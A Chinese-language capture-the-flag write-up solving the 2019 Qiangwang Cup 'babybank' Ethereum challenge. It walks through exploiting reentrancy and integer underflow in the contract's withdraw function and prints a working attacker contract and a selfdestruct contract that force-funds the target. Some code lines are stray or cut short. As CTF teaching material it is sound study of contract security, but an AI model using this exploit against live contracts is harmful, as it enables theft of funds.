# 2019强网杯babybank
# 题目信息
Get the flag after payforflag event is emitted 0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten
在执行完payforflag函数后获取flag,并且给出了题目合约的地址。
同时给出部分合约源码
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
......
知道合约地址的情况下,我们可以通过合约反编译器对题目合约进行反编译来获取合约源码。
反编译出来的代码并不是看的很懂,所以观摩了大佬整理的源码。
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 3
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
//leak function
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}
# 源码分析
下面分析一下源码,根据题目要求,我们需要执行payforflag这个函数。
在这个函数中,存在一个条件balance[msg.sender] >= 10000000000,再看看其他函数,能够帮我们增加balance的只有profit和guess两个函数。guess函数中,需要level[msg.sender]==1才能够执行,而在profit函数中则是level[msg.sender]==0,考虑到初始balance和level为0,很明显我们需要先执行profit函数。
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
除了level需要为0,profit函数还需要一个条件,即uint(msg.sender) & 0xffff==0xb1b1,已知&运算是相同为1,不同为0,因此msg.sender的末尾应该为0xb1b1,即账户地址末四位为0xb1b1。
这里可以通过一个地址生成器来获取末四位为0xb1b1的账户(后面简称账户A)

获取到账户A后,利用私钥将账户A添加至matemask钱包,我们通过账户A来执行profit函数。我们先把合约编码编译并通过编译器的at address功能放置在0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c上(题目给出的合约地址)。

部署好合约后,matemask中选择连接账户A, 执行profit函数,执行完成后,再下方balance和level两个按钮中输入账户A的地址,可以查看当前balance和level为1。

在level为1后,我们就可以执行guess函数了,下面分析一下guess函数。
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
除了level[msg.sender]==1以外,还需要让guess_secret==secret,guess_secret是我们输入的值,那么secret又是什么呢?我们看看set_secret函数。
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
可以看到secret是由new_secret决定的,但是我们注意到set_secret这个函数定义时有个onlyOwner,
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
可以看出,只有合约的主人,也就是部署合约的账户才能够调用set_secret函数,显然我们并没有办法重新赋值secret,那么我们怎么才能知道secret到底是什么呢?
我们可以通过区块链浏览器查看一下部署合约的账户0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2,发现他最后一条交易信息执行的就是set_secret函数。

点开这条交易记录,在最下方的Input Data中,可以选择decode data来查看数据。

可以看到new_secret为1123581321345589,知道secret后,将其输入至guess按钮旁的编辑框中,点击guess按钮执行函数。待执行完成后再次点击balance和level两个按钮,可以查看当前balance和level为2。

前面我们说到能够帮我们增加balance的只有profit和guess两个函数。现在这两个函数都执行完了,我们的balance才为2,显然不够payforflag函数所需要的10000000000。再看看有没有还没有用到的函数,这时候,我们发现了withdraw函数。
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
仔细观察withdraw函数,我们发现了两个敏感点,第一个是msg.sender.call.value(amount*100000000000000)();,我们知道call函数会造成重入攻击;另一个是balance[msg.sender] -= amount;,它会造成整型下溢出。
为了执行上面两句带有漏洞的函数,我们需要通过两个条件,一个是输入的amount必须为2,另一个是我们进行交互的合约的balance必须大于等于amount也就是2。因此我们部署一个能够进行重入攻击的合约,通过反复调用withdraw函数来让balance实现整型下溢出,变成一个极大的数字。
# 进行攻击
pragma solidity ^0.4.23;
//声明合约源码函数
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
//攻击合约
contract attacker {
BabybankInterface private target = BabybankInterface(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
uint private flag = 0;
//攻击函数
function exploit() public{
target.withdraw(2);
}
//执行payforflag函数
function sendflag() public payable{
target.payforflag("Coldwinds","825592085@qq.com");
}
qq.com
//构成fallback函数,实现重入攻击
function() external payable{
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
考虑到执行payforflag函数也需要通过该攻击合约进行,所以这里直接给出攻击合约的所有代码。
部署好攻击合约如下图所示:(后面简称合约B,地址为0x95eD631946C71bD98C2dB5b23B48297192b19068)

这时候我们点击exploit进行攻击,编译器会提醒我们该操作很可能失败,事实上,失败是必然的。因为执行withdraw函数需要我们进行交互的这个地址在必须在题目合约中有balance,而我们前面获得的balance其实是属于账户A的,部署的合约B在题目合约中没有balance,自然不能攻击成功。
为了把账户A的balance转移给合约B,我们需要执行transfer函数。
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
transfer函数有三个条件,一是交互账户的balance必须大于等于amount,二是amount必须等于2,三是交互账户的level必须等于2,发现账户A是符合条件的(balance=amount=2且level=2)。因此我们在transfer按钮旁的编辑框中输入我们部署的合约B的地址,并输入要转移的balance数目amount,即0x95eD631946C71bD98C2dB5b23B48297192b19068,2。
transfer函数执行完成后,我们点击点击balance和level两个按钮,可以查看当前balance为0而level为2,将balance的地址换成合约B后,发现合约B的balance变成了2,说明账户A的balance已经成功转移到了合约B。

# 避坑!
既然合约B已经拥有了balance,我们就可以点击攻击合约中的exploit进行攻击了,吗?
如果你执行了exploit函数,那么恭喜你,你可能要重头再来了。
我们再次阅读withdraw函数
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
可以看到其中的call函数,我们知道执行call函数是需要gas的,然而题目合约中是没有ETH的,也就无法调用call函数。如果这时调用了withdraw,不仅不能实现重入攻击,还会导致合约B的balance被清零!也就无法再次调用withdraw了。
为了能够实现重入攻击,我们就需要向题目合约中存入一定量的ETH。可是看完整篇源码,发现题目合约是不支持正常转入ETH的。因此只能通过自毁函数selfdestruct来向题目合约强制转入ETH。
关于
selfdestruct函数,只要知道它可以用来销毁合约,并将该合约中的ETH全部强制转入目标地址。
所以我们部署一个合约C,并向其中转入0.2个ETH(够题目合约支付gas就行)。代码如下:
contract get_money {
function kill() public payable{
selfdestruct(address(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c));
}
constructor() public payable{
部署完合约后,按下kill按钮即可销毁合约C,并将其中的0.2个ETH转入题目合约。

这时候,执行攻击合约B中的exploit函数,才能够正确进行重入攻击,发生整型下溢出,让攻击合约B拥有大量的balance。
没转入ETH的时候点了
exploit,导致balance被清零,做这道题已经建了好几个0xb1b1的账户,实在是不想重新操作一遍了,最后的图就不搞了。
# 成功!
在获取了大量balance后,就可以执行payforflag函数,点击攻击合约B的sendflag按钮,即可执行payforflag函数,成功达成题目要求!